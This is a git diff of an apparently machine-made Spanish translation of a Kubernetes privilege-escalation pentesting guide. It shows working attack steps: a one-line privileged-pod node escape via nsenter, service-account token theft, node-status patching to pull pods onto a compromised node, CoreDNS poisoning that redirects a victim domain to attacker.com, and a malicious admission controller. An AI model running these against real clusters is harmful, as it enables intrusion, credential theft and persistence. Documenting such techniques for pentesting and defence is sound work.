Translated ['src/pentesting-cloud/kubernetes-security/abusing-roles-clus

This commit is contained in:
Translator
2025-04-13 14:33:54 +00:00
parent 546b8b3042
commit 51330d35c0

View File

@@ -12,7 +12,7 @@ Se refiere al arte de obtener **acceso a un principal diferente** dentro del cl
- Poder **suplantar** a otros usuarios/grupos/SAs con mejores privilegios dentro del clúster de kubernetes o a nubes externas
- Poder **crear/parchear/ejecutar pods** donde puedes **encontrar o adjuntar SAs** con mejores privilegios dentro del clúster de kubernetes o a nubes externas
- Poder **leer secretos** ya que los tokens de SAs se almacenan como secretos
- Poder **escapar al nodo** desde un contenedor, donde puedes robar todos los secretos de los contenedores que se ejecutan en el nodo, las credenciales del nodo y los permisos del nodo dentro de la nube en la que se está ejecutando (si los hay)
- Poder **escapar al nodo** desde un contenedor, donde puedes robar todos los secretos de los contenedores que se ejecutan en el nodo, las credenciales del nodo y los permisos del nodo dentro de la nube en la que se está ejecutando (si hay alguna)
- Una quinta técnica que merece mención es la capacidad de **ejecutar port-forward** en un pod, ya que podrías acceder a recursos interesantes dentro de ese pod.
### Acceso a Cualquier Recurso o Verbo (Wildcard)
@@ -77,7 +77,7 @@ hostNetwork: true
Lo siguiente indica todos los privilegios que un contenedor puede tener:
- **Acceso privilegiado** (deshabilitando protecciones y configurando capacidades)
- **Deshabilitar namespaces hostIPC y hostPid** que pueden ayudar a escalar privilegios
- **Deshabilitar los namespaces hostIPC y hostPid** que pueden ayudar a escalar privilegios
- **Deshabilitar el namespace hostNetwork**, dando acceso para robar privilegios de nube de nodos y mejor acceso a redes
- **Montar hosts / dentro del contenedor**
```yaml:super_privs.yaml
@@ -123,7 +123,7 @@ Una línea de [este tweet](https://twitter.com/mauilion/status/11294684854807511
```bash
kubectl run r00t --restart=Never -ti --rm --image lol --overrides '{"spec":{"hostPID": true, "containers":[{"name":"1","image":"alpine","command":["nsenter","--mount=/proc/1/ns/mnt","--","/bin/bash"],"stdin": true,"tty":true,"imagePullPolicy":"IfNotPresent","securityContext":{"privileged":true}}]}}'
```
Ahora que puedes escapar al nodo, consulta las técnicas de post-explotación en:
Ahora que puedes escapar al nodo, revisa las técnicas de post-explotación en:
#### Sigilo
@@ -149,9 +149,9 @@ Para más información, consulta:
pod-escape-privileges.md
{{#endref}}
### **Crear/Patch Deployment, Daemonsets, Statefulsets, Replicationcontrollers, Replicasets, Jobs y Cronjobs**
### **Crear/Patch Despliegue, Daemonsets, Statefulsets, Replicationcontrollers, Replicasets, Jobs y Cronjobs**
Es posible abusar de estos permisos para **crear un nuevo pod** y establecer privilegios como en el ejemplo anterior.
Es posible abusar de estos permisos para **crear un nuevo pod** y escalar privilegios como en el ejemplo anterior.
El siguiente yaml **crea un daemonset y exfiltra el token de la SA** dentro del pod:
```yaml
@@ -197,10 +197,15 @@ Por lo tanto, es posible **entrar en un pod y robar el token del SA**, o ingresa
```bash
kubectl exec -it <POD_NAME> -n <NAMESPACE> -- sh
```
> [!NOTE]
> Por defecto, el comando se ejecuta en el primer contenedor del pod. Obtén **todos los pods en un contenedor** con `kubectl get pods <pod_name> -o jsonpath='{.spec.containers[*].name}'` y luego **indica el contenedor** donde deseas ejecutarlo con `kubectl exec -it <pod_name> -c <container_name> -- sh`
Si es un contenedor distroless, podrías intentar usar **shell builtins** para obtener información de los contenedores o subir tus propias herramientas como un **busybox** usando: **`kubectl cp </path/local/file> <podname>:</path/in/container>`**.
### port-forward
Este permiso permite **redirigir un puerto local a un puerto en el pod especificado**. Esto está destinado a poder depurar aplicaciones que se ejecutan dentro de un pod fácilmente, pero un atacante podría abusar de ello para obtener acceso a aplicaciones interesantes (como bases de datos) o vulnerables (¿webs?) dentro de un pod:
```
```bash
kubectl port-forward pod/mypod 5000:5000
```
### Hosts Writable /var/log/ Escape
@@ -247,7 +252,7 @@ allowedHostPaths:
- pathPrefix: "/foo"
readOnly: true
```
Lo que se pretendía era prevenir escapes como los anteriores al, en lugar de usar un montaje hostPath, utilizar un PersistentVolume y un PersistentVolumeClaim para montar una carpeta de hosts en el contenedor con acceso de escritura:
Lo que se pretendía era prevenir escapes como los anteriores al, en lugar de usar un hostPath mount, utilizar un PersistentVolume y un PersistentVolumeClaim para montar una carpeta de hosts en el contenedor con acceso de escritura:
```yaml
apiVersion: v1
kind: PersistentVolume
@@ -389,7 +394,7 @@ El token se genera a partir de un conjunto limitado de 27 caracteres (`bcdfghjkl
Si tiene los verbos **`create`** en el recurso `certificatesigningrequests` (o al menos en `certificatesigningrequests/nodeClient`). Puede **crear** un nuevo CeSR de un **nuevo nodo.**
De acuerdo con la [documentación, es posible aprobar automáticamente estas solicitudes](https://kubernetes.io/docs/reference/command-line-tools-reference/kubelet-tls-bootstrapping/), así que en ese caso **no necesita permisos adicionales**. Si no, necesitaría poder aprobar la solicitud, lo que significa actualizar en `certificatesigningrequests/approval` y `approve` en `signers` con resourceName `<signerNameDomain>/<signerNamePath>` o `<signerNameDomain>/*`
De acuerdo con la [documentación, es posible aprobar automáticamente estas solicitudes](https://kubernetes.io/docs/reference/command-line-tools-reference/kubelet-tls-bootstrapping/), por lo que en ese caso **no necesita permisos adicionales**. Si no, necesitaría poder aprobar la solicitud, lo que significa actualizar en `certificatesigningrequests/approval` y `approve` en `signers` con resourceName `<signerNameDomain>/<signerNamePath>` o `<signerNameDomain>/*`
Un **ejemplo de un rol** con todos los permisos requeridos es:
```yaml
@@ -424,7 +429,10 @@ verbs:
```
Entonces, con el nuevo CSR de nodo aprobado, puedes **abusar** de los permisos especiales de los nodos para **robar secretos** y **escalar privilegios**.
En [**esta publicación**](https://www.4armed.com/blog/hacking-kubelet-on-gke/) y [**esta otra**](https://rhinosecuritylabs.com/cloud-security/kubelet-tls-bootstrap-privilege-escalation/), la configuración de GKE K8s TLS Bootstrap está configurada con **firma automática** y se
En [**esta publicación**](https://www.4armed.com/blog/hacking-kubelet-on-gke/) y [**esta otra**](https://rhinosecuritylabs.com/cloud-security/kubelet-tls-bootstrap-privilege-escalation/), la configuración de GKE K8s TLS Bootstrap está configurada con **firma automática** y se abusa de ella para generar credenciales de un nuevo nodo K8s y luego abusar de esas para escalar privilegios robando secretos.\
Si **tienes los privilegios mencionados, podrías hacer lo mismo**. Ten en cuenta que el primer ejemplo elude el error que impide que un nuevo nodo acceda a secretos dentro de contenedores porque un **nodo solo puede acceder a los secretos de los contenedores montados en él.**
La forma de eludir esto es simplemente **crear credenciales de nodo para el nombre del nodo donde el contenedor con los secretos interesantes está montado** (pero solo verifica cómo hacerlo en la primera publicación):
```bash
"/O=system:nodes/CN=system:node:gke-cluster19-default-pool-6c73b1-8cj1"
```
@@ -476,12 +484,52 @@ groups:
> Sin embargo, `aws --profile other_account eks update-kubeconfig --name <cluster-name>` **no funciona desde una cuenta diferente**. Pero en realidad `aws --profile other_account eks get-token --cluster-name arn:aws:eks:us-east-1:123456789098:cluster/Testing` funciona si pones el ARN del clúster en lugar de solo el nombre.\
> Para hacer que `kubectl` funcione, solo asegúrate de **configurar** el **kubeconfig de la víctima** y en los argumentos de ejecución de aws agrega `--profile other_account_role` para que kubectl use el perfil de la otra cuenta para obtener el token y contactar a AWS.
### Mapa de configuración de CoreDNS
Si tienes los permisos para modificar el **`coredns` configmap** en el espacio de nombres `kube-system`, puedes modificar las direcciones a las que se resolverán los dominios para poder realizar ataques MitM para **robar información sensible o inyectar contenido malicioso**.
Los verbos necesarios son **`update`** y **`patch`** sobre el **`coredns`** configmap (o todos los config maps).
Un **archivo coredns** regular contiene algo como esto:
```yaml
data:
Corefile: |
.:53 {
log
errors
health {
lameduck 5s
}
ready
kubernetes cluster.local in-addr.arpa ip6.arpa {
pods insecure
fallthrough in-addr.arpa ip6.arpa
ttl 30
}
prometheus :9153
hosts {
192.168.49.1 host.minikube.internal
fallthrough
}
forward . /etc/resolv.conf {
max_concurrent 1000
}
cache 30
loop
reload
loadbalance
}
```
Un atacante podría descargarlo ejecutando `kubectl get configmap coredns -n kube-system -o yaml`, modificarlo añadiendo algo como `rewrite name victim.com attacker.com`, de modo que cada vez que se acceda a `victim.com`, en realidad se acceda a `attacker.com`. Y luego aplicarlo ejecutando `kubectl apply -f poison_dns.yaml`.
Otra opción es simplemente editar el archivo ejecutando `kubectl edit configmap coredns -n kube-system` y hacer cambios.
### Escalando en GKE
Hay **2 formas de asignar permisos de K8s a los principales de GCP**. En cualquier caso, el principal también necesita el permiso **`container.clusters.get`** para poder obtener credenciales para acceder al clúster, o necesitarás **generar tu propio archivo de configuración de kubectl** (sigue el siguiente enlace).
> [!WARNING]
> Al hablar con el punto final de la API de K8s, el **token de autenticación de GCP será enviado**. Luego, GCP, a través del punto final de la API de K8s, primero **verificará si el principal** (por correo electrónico) **tiene algún acceso dentro del clúster**, luego verificará si tiene **algún acceso a través de GCP IAM**.\
> Al hablar con el punto final de la API de K8s, se **enviará el token de autenticación de GCP**. Luego, GCP, a través del punto final de la API de K8s, primero **verificará si el principal** (por correo electrónico) **tiene algún acceso dentro del clúster**, luego verificará si tiene **algún acceso a través de GCP IAM**.\
> Si **cualquiera** de esos es **verdadero**, se le **responderá**. Si **no**, se dará un **error** sugiriendo otorgar **permisos a través de GCP IAM**.
Entonces, el primer método es usar **GCP IAM**, los permisos de K8s tienen sus **permisos equivalentes de GCP IAM**, y si el principal los tiene, podrá usarlos.
@@ -498,17 +546,17 @@ Principales que pueden **crear TokenRequests** (`serviceaccounts/token`) al habl
### ephemeralcontainers
Principales que pueden **`update`** o **`patch`** **`pods/ephemeralcontainers`** pueden obtener **ejecución de código en otros pods**, y potencialmente **salir** a su nodo agregando un contenedor efímero con un securityContext privilegiado.
Principales que pueden **`update`** o **`patch`** **`pods/ephemeralcontainers`** pueden obtener **ejecución de código en otros pods**, y potencialmente **salir** a su nodo añadiendo un contenedor efímero con un securityContext privilegiado.
### ValidatingWebhookConfigurations o MutatingWebhookConfigurations
Principales con cualquiera de los verbos `create`, `update` o `patch` sobre `validatingwebhookconfigurations` o `mutatingwebhookconfigurations` podrían ser capaces de **crear uno de esos webhookconfigurations** para poder **escalar privilegios**.
Principales con cualquiera de los verbos `create`, `update` o `patch` sobre `validatingwebhookconfigurations` o `mutatingwebhookconfigurations` podrían ser capaces de **crear una de esas webhookconfigurations** para poder **escalar privilegios**.
Para un [ejemplo de `mutatingwebhookconfigurations` consulta esta sección de esta publicación](#malicious-admission-controller).
Para un [ejemplo de `mutatingwebhookconfigurations`, consulta esta sección de esta publicación](#malicious-admission-controller).
### Escalar
Como puedes leer en la siguiente sección: [**Prevención de Escalación de Privilegios Incorporada**](#built-in-privileged-escalation-prevention), un principal no puede actualizar ni crear roles o clusterroles sin tener él mismo esos nuevos permisos. Excepto si tiene el **verbo `escalate`** sobre **`roles`** o **`clusterroles`**.\
Como puedes leer en la siguiente sección: [**Prevención de Escalación de Privilegios Incorporada**](#built-in-privileged-escalation-prevention), un principal no puede actualizar ni crear roles o clusterroles sin tener él mismo esos nuevos permisos. Excepto si tiene el **verbo `escalate` o `*`** sobre **`roles`** o **`clusterroles`** y las respectivas opciones de vinculación.\
Entonces puede actualizar/crear nuevos roles, clusterroles con mejores permisos que los que tiene.
### Proxy de nodos
@@ -523,7 +571,7 @@ Tienes un ejemplo de cómo obtener [**RCE hablando autorizado a una API de Kubel
### Eliminar pods + nodos no programables
Principales que pueden **eliminar pods** (`delete` verbo sobre `pods` recurso), o **desalojar pods** (`create` verbo sobre `pods/eviction` recurso), o **cambiar el estado de los pods** (acceso a `pods/status`) y pueden **hacer que otros nodos no sean programables** (acceso a `nodes/status`) o **eliminar nodos** (`delete` verbo sobre `nodes` recurso) y tienen control sobre un pod, podrían **robar pods de otros nodos** para que sean **ejecutados** en el **nodo comprometido** y el atacante puede **robar los tokens** de esos pods.
Principales que pueden **eliminar pods** (`delete` verbo sobre `pods` recurso), o **desalojar pods** (`create` verbo sobre `pods/eviction` recurso), o **cambiar el estado del pod** (acceso a `pods/status`) y pueden **hacer que otros nodos no sean programables** (acceso a `nodes/status`) o **eliminar nodos** (`delete` verbo sobre `nodes` recurso) y tienen control sobre un pod, podrían **robar pods de otros nodos** para que sean **ejecutados** en el **nodo comprometido** y el atacante pueda **robar los tokens** de esos pods.
```bash
patch_node_capacity(){
curl -s -X PATCH 127.0.0.1:8001/api/v1/nodes/$1/status -H "Content-Type: json-patch+json" -d '[{"op": "replace", "path":"/status/allocatable/pods", "value": "0"}]'
@@ -556,65 +604,39 @@ La regla estipula que un **usuario solo puede crear o actualizar un rol si posee
### **Obtener y parchear RoleBindings/ClusterRoleBindings**
> [!CAUTION]
> **Aparentemente, esta técnica funcionaba antes, pero según mis pruebas, ya no está funcionando por la misma razón explicada en la sección anterior. No puedes crear/modificar un rolebinding para darte a ti mismo o a una SA diferente algunos privilegios si no los tienes ya.**
> **Aparentemente, esta técnica funcionó antes, pero según mis pruebas, ya no está funcionando por la misma razón explicada en la sección anterior. No puedes crear/modificar un rolebinding para darte a ti mismo o a una SA diferente algunos privilegios si no los tienes ya.**
El privilegio de crear Rolebindings permite a un usuario **vincular roles a una cuenta de servicio**. Este privilegio puede llevar potencialmente a la escalación de privilegios porque **permite al usuario vincular privilegios de administrador a una cuenta de servicio comprometida.**
## Otros ataques
### Aplicación proxy sidecar
### Aplicación de proxy sidecar
Por defecto, no hay ninguna encriptación en la comunicación entre pods. Autenticación mutua, bidireccional, de pod a pod.
Por defecto, no hay ninguna encriptación en la comunicación entre pods. Autenticación mutua, bidireccional, pod a pod.
#### Crear una aplicación proxy sidecar <a href="#create-a-sidecar-proxy-app" id="create-a-sidecar-proxy-app"></a>
#### Crear una aplicación de proxy sidecar
Crea tu .yaml
```bash
kubectl run app --image=bash --command -oyaml --dry-run=client > <appName.yaml> -- sh -c 'ping google.com'
```
Edita tu .yaml y añade las líneas descomentadas:
Un contenedor sidecar consiste simplemente en agregar un **segundo (o más) contenedor dentro de un pod**.
Por ejemplo, lo siguiente es parte de la configuración de un pod con 2 contenedores:
```yaml
#apiVersion: v1
#kind: Pod
#metadata:
# name: security-context-demo
#spec:
# securityContext:
# runAsUser: 1000
# runAsGroup: 3000
# fsGroup: 2000
# volumes:
# - name: sec-ctx-vol
# emptyDir: {}
# containers:
# - name: sec-ctx-demo
# image: busybox
command:
[
"sh",
"-c",
"apt update && apt install iptables -y && iptables -L && sleep 1h",
]
securityContext:
capabilities:
add: ["NET_ADMIN"]
# volumeMounts:
# - name: sec-ctx-vol
# mountPath: /data/demo
# securityContext:
# allowPrivilegeEscalation: true
```
Ver los registros del proxy:
```bash
kubectl logs app -C proxy
spec:
containers:
- name: main-application
image: nginx
- name: sidecar-container
image: busybox
command: ["sh","-c","<execute something in the same pod but different container>"]
```
Por ejemplo, para crear un backdoor en un pod existente con un nuevo contenedor, podrías simplemente agregar un nuevo contenedor en la especificación. Ten en cuenta que podrías **dar más permisos** al segundo contenedor que el primero no tendrá.
Más información en: [https://kubernetes.io/docs/tasks/configure-pod-container/security-context/](https://kubernetes.io/docs/tasks/configure-pod-container/security-context/)
### Controlador de Admisión Malicioso
Un controlador de admisión **intercepta las solicitudes al servidor API de Kubernetes** antes de la persistencia del objeto, pero **después de que la solicitud ha sido autenticada** **y autorizada**.
Un controlador de admisión **intercepta solicitudes al servidor API de Kubernetes** antes de la persistencia del objeto, pero **después de que la solicitud ha sido autenticada** **y autorizada**.
Si un atacante logra **inyectar un Controlador de Admisión de Mutación**, podrá **modificar solicitudes ya autenticadas**. Esto podría permitir un posible privesc y, más comúnmente, persistir en el clúster.
Si un atacante logra **inyectar un Controlador de Admisión de Mutación**, podrá **modificar solicitudes ya autenticadas**. Esto podría permitir un potencial privesc y, más comúnmente, persistir en el clúster.
**Ejemplo de** [**https://blog.rewanthtammana.com/creating-malicious-admission-controllers**](https://blog.rewanthtammana.com/creating-malicious-admission-controllers):
```bash
@@ -644,7 +666,7 @@ kubectl describe po nginx | grep "Image: "
Como puedes ver en la imagen anterior, intentamos ejecutar la imagen `nginx`, pero la imagen final ejecutada es `rewanthtammana/malicious-image`. ¿Qué acaba de pasar!?
#### Technicalities <a href="#heading-technicalities" id="heading-technicalities"></a>
#### Technicalities
El script `./deploy.sh` establece un controlador de admisión de webhook mutante, que modifica las solicitudes a la API de Kubernetes según lo especificado en sus líneas de configuración, influyendo en los resultados observados:
```
@@ -669,11 +691,11 @@ El fragmento anterior reemplaza la primera imagen del contenedor en cada pod con
- **Pods y Cuentas de Servicio**: Por defecto, los pods montan un token de cuenta de servicio. Para mejorar la seguridad, Kubernetes permite deshabilitar esta función de automontaje.
- **Cómo Aplicar**: Establecer `automountServiceAccountToken: false` en la configuración de cuentas de servicio o pods a partir de la versión 1.6 de Kubernetes.
### **Asignación Restrictiva de Usuarios en RoleBindings/ClusterRoleBindings**
### **Asignación de Usuarios Restrictiva en RoleBindings/ClusterRoleBindings**
- **Inclusión Selectiva**: Asegúrese de que solo se incluyan los usuarios necesarios en RoleBindings o ClusterRoleBindings. Audite regularmente y elimine usuarios irrelevantes para mantener una seguridad estricta.
- **Inclusión Selectiva**: Asegúrese de que solo los usuarios necesarios estén incluidos en RoleBindings o ClusterRoleBindings. Audite regularmente y elimine usuarios irrelevantes para mantener una seguridad estricta.
### **Roles Específicos de Namespace sobre Roles de Clúster**
### **Roles Específicos de Namespace Sobre Roles de Clúster**
- **Roles vs. ClusterRoles**: Prefiera usar Roles y RoleBindings para permisos específicos de namespace en lugar de ClusterRoles y ClusterRoleBindings, que se aplican a nivel de clúster. Este enfoque ofrece un control más fino y limita el alcance de los permisos.
@@ -696,5 +718,7 @@ https://github.com/aquasecurity/kube-bench
- [**https://www.cyberark.com/resources/threat-research-blog/securing-kubernetes-clusters-by-eliminating-risky-permissions**](https://www.cyberark.com/resources/threat-research-blog/securing-kubernetes-clusters-by-eliminating-risky-permissions)
- [**https://www.cyberark.com/resources/threat-research-blog/kubernetes-pentest-methodology-part-1**](https://www.cyberark.com/resources/threat-research-blog/kubernetes-pentest-methodology-part-1)
- [**https://blog.rewanthtammana.com/creating-malicious-admission-controllers**](https://blog.rewanthtammana.com/creating-malicious-admission-controllers)
- [**https://kubenomicon.com/Lateral_movement/CoreDNS_poisoning.html**](https://kubenomicon.com/Lateral_movement/CoreDNS_poisoning.html)
- [**https://kubenomicon.com/**](https://kubenomicon.com/)
{{#include ../../../banners/hacktricks-training.md}}